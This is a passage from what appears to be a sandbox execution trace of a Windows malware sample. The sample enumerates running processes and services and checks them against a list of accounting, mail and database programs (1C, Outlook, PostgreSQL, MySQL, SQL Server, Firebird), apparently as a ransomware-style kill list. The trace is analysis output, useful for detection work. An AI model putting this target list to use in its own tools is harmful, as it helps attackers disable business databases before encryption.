lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0264.149] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0264.149] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0264.149] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0264.149] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0264.149] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0264.150] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0264.151] lstrlenW (lpString="explorer.exe") returned 12 [0264.151] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0264.151] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0264.151] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0264.151] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0264.151] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0264.152] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1 [0264.152] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1 [0264.152] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0264.153] lstrlenW (lpString="dwm.exe") returned 7 [0264.153] lstrcmpiW (lpString1="1c8.exe", lpString2="dwm.exe") returned -1 [0264.153] lstrcmpiW (lpString1="1cv77.exe", lpString2="dwm.exe") returned -1 [0264.153] lstrcmpiW (lpString1="outlook.exe", lpString2="dwm.exe") returned 1 [0264.153] lstrcmpiW (lpString1="postgres.exe", lpString2="dwm.exe") returned 1 [0264.153] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dwm.exe") returned 1 [0264.153] lstrcmpiW (lpString1="mysqld.exe", lpString2="dwm.exe") returned 1 [0264.153] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dwm.exe") returned 1 [0264.153] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.154] lstrlenW (lpString="svchost.exe") returned 11 [0264.155] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0264.155] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0264.155] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0264.155] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0264.155] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0264.155] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0264.155] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0264.155] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0264.156] lstrlenW (lpString="driver.exe") returned 10 [0264.156] lstrcmpiW (lpString1="1c8.exe", lpString2="driver.exe") returned -1 [0264.156] lstrcmpiW (lpString1="1cv77.exe", lpString2="driver.exe") returned -1 [0264.156] lstrcmpiW (lpString1="outlook.exe", lpString2="driver.exe") returned 1 [0264.156] lstrcmpiW (lpString1="postgres.exe", lpString2="driver.exe") returned 1 [0264.156] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="driver.exe") returned 1 [0264.157] lstrcmpiW (lpString1="mysqld.exe", lpString2="driver.exe") returned 1 [0264.157] lstrcmpiW (lpString1="sqlservr.exe", lpString2="driver.exe") returned 1 [0264.157] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0264.157] lstrlenW (lpString="spoolsv.exe") returned 11 [0264.158] lstrcmpiW (lpString1="1c8.exe", lpString2="spoolsv.exe") returned -1 [0264.158] lstrcmpiW (lpString1="1cv77.exe", lpString2="spoolsv.exe") returned -1 [0264.158] lstrcmpiW (lpString1="outlook.exe", lpString2="spoolsv.exe") returned -1 [0264.158] lstrcmpiW (lpString1="postgres.exe", lpString2="spoolsv.exe") returned -1 [0264.158] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spoolsv.exe") returned -1 [0264.158] lstrcmpiW (lpString1="mysqld.exe", lpString2="spoolsv.exe") returned -1 [0264.158] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spoolsv.exe") returned 1 [0264.158] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0264.159] lstrlenW (lpString="taskhost.exe") returned 12 [0264.159] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhost.exe") returned -1 [0264.159] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhost.exe") returned -1 [0264.160] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhost.exe") returned -1 [0264.160] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhost.exe") returned -1 [0264.160] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhost.exe") returned -1 [0264.160] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhost.exe") returned -1 [0264.160] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhost.exe") returned -1 [0264.160] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.161] lstrlenW (lpString="svchost.exe") returned 11 [0264.161] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0264.161] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0264.161] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0264.161] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0264.162] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0264.162] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0264.162] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0264.162] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0264.269] lstrlenW (lpString="reader_sl.exe") returned 13 [0264.269] lstrcmpiW (lpString1="1c8.exe", lpString2="reader_sl.exe") returned -1 [0264.269] lstrcmpiW (lpString1="1cv77.exe", lpString2="reader_sl.exe") returned -1 [0264.269] lstrcmpiW (lpString1="outlook.exe", lpString2="reader_sl.exe") returned -1 [0264.269] lstrcmpiW (lpString1="postgres.exe", lpString2="reader_sl.exe") returned -1 [0264.269] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="reader_sl.exe") returned -1 [0264.269] lstrcmpiW (lpString1="mysqld.exe", lpString2="reader_sl.exe") returned -1 [0264.269] lstrcmpiW (lpString1="sqlservr.exe", lpString2="reader_sl.exe") returned 1 [0264.269] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0264.270] lstrlenW (lpString="taskhost.exe") returned 12 [0264.270] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhost.exe") returned -1 [0264.270] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhost.exe") returned -1 [0264.271] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhost.exe") returned -1 [0264.271] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhost.exe") returned -1 [0264.271] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhost.exe") returned -1 [0264.271] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhost.exe") returned -1 [0264.271] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhost.exe") returned -1 [0264.271] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0264.273] lstrlenW (lpString="dllhost.exe") returned 11 [0264.273] lstrcmpiW (lpString1="1c8.exe", lpString2="dllhost.exe") returned -1 [0264.273] lstrcmpiW (lpString1="1cv77.exe", lpString2="dllhost.exe") returned -1 [0264.273] lstrcmpiW (lpString1="outlook.exe", lpString2="dllhost.exe") returned 1 [0264.273] lstrcmpiW (lpString1="postgres.exe", lpString2="dllhost.exe") returned 1 [0264.273] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dllhost.exe") returned 1 [0264.273] lstrcmpiW (lpString1="mysqld.exe", lpString2="dllhost.exe") returned 1 [0264.274] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dllhost.exe") returned 1 [0264.274] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0264.275] lstrlenW (lpString="consent.exe") returned 11 [0264.275] lstrcmpiW (lpString1="1c8.exe", lpString2="consent.exe") returned -1 [0264.275] lstrcmpiW (lpString1="1cv77.exe", lpString2="consent.exe") returned -1 [0264.275] lstrcmpiW (lpString1="outlook.exe", lpString2="consent.exe") returned 1 [0264.275] lstrcmpiW (lpString1="postgres.exe", lpString2="consent.exe") returned 1 [0264.275] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="consent.exe") returned 1 [0264.275] lstrcmpiW (lpString1="mysqld.exe", lpString2="consent.exe") returned 1 [0264.275] lstrcmpiW (lpString1="sqlservr.exe", lpString2="consent.exe") returned 1 [0264.275] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0264.276] CloseHandle (hObject=0x3bc) returned 1 [0264.277] Sleep (dwMilliseconds=0x1f4) [0265.117] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c3158 [0265.118] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0265.119] GetLastError () returned 0xea [0265.119] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x41a2db8 [0265.119] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41a2db8, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41a2db8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0265.120] CloseServiceHandle (hSCObject=0x41c3158) returned 1 [0265.121] lstrlenW (lpString="Appinfo") returned 7 [0265.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0265.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0265.121] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0265.121] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0265.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0265.122] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0265.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0265.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0265.122] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0265.122] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0265.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0265.122] lstrlenW (lpString="AudioSrv") returned 8 [0265.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0265.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0265.122] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0265.122] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0265.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0265.122] lstrlenW (lpString="BFE") returned 3 [0265.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0265.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0265.123] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0265.123] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0265.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0265.123] lstrlenW (lpString="CryptSvc") returned 8 [0265.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0265.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0265.123] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0265.123] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0265.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0265.123] lstrlenW (lpString="CscService") returned 10 [0265.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0265.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0265.124] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0265.124] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0265.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0265.124] lstrlenW (lpString="DcomLaunch") returned 10 [0265.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0265.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0265.124] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0265.124] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0265.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0265.124] lstrlenW (lpString="Dhcp") returned 4 [0265.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0265.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0265.125] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0265.125] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0265.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0265.125] lstrlenW (lpString="Dnscache") returned 8 [0265.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0265.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0265.125] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0265.125] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0265.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0265.125] lstrlenW (lpString="DPS") returned 3 [0265.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0265.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0265.126] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0265.126] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0265.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0265.126] lstrlenW (lpString="eventlog") returned 8 [0265.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0265.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0265.126] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0265.126] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0265.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0265.126] lstrlenW (lpString="EventSystem") returned 11 [0265.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0265.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0265.126] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0265.127] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0265.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0265.127] lstrlenW (lpString="gpsvc") returned 5 [0265.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0265.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0265.127] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0265.127] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0265.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0265.127] lstrlenW (lpString="iphlpsvc") returned 8 [0265.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0265.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0265.128] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0265.128] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0265.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0265.128] lstrlenW (lpString="LanmanServer") returned 12 [0265.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0265.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0265.128] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0265.128] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0265.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0265.128] lstrlenW (lpString="LanmanWorkstation") returned 17 [0265.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0265.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0265.128] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0265.129] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0265.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0265.129] lstrlenW (lpString="lmhosts") returned 7 [0265.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0265.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0265.129] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0265.129] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0265.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0265.129] lstrlenW (lpString="MMCSS") returned 5 [0265.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0265.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0265.129] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0265.130] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0265.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0265.130] lstrlenW (lpString="MpsSvc") returned 6 [0265.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0265.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0265.130] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0265.131] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0265.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0265.131] lstrlenW (lpString="Netman") returned 6 [0265.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0265.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0265.131] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0265.131] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0265.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0265.131] lstrlenW (lpString="netprofm") returned 8 [0265.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0265.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0265.132] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0265.132] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0265.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0265.132] lstrlenW (lpString="NlaSvc") returned 6 [0265.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0265.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0265.132] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0265.132] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0265.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0265.132] lstrlenW (lpString="nsi") returned 3 [0265.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0265.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0265.132] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0265.133] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0265.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0265.133] lstrlenW (lpString="PcaSvc") returned 6 [0265.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0265.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0265.133] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0265.133] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0265.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0265.133] lstrlenW (lpString="PlugPlay") returned 8 [0265.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0265.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0265.133] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0265.133] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0265.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0265.133] lstrlenW (lpString="Power") returned 5 [0265.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0265.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0265.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0265.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0265.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0265.134] lstrlenW (lpString="ProfSvc") returned 7 [0265.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0265.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0265.134] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0265.134] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0265.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0265.134] lstrlenW (lpString="RpcEptMapper") returned 12 [0265.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0265.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0265.135] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0265.135] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0265.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0265.135] lstrlenW (lpString="RpcSs") returned 5 [0265.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0265.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0265.135] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0265.135] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0265.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0265.135] lstrlenW (lpString="SamSs") returned 5 [0265.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0265.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0265.135] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0265.135] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0265.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0265.136] lstrlenW (lpString="Schedule") returned 8 [0265.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0265.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 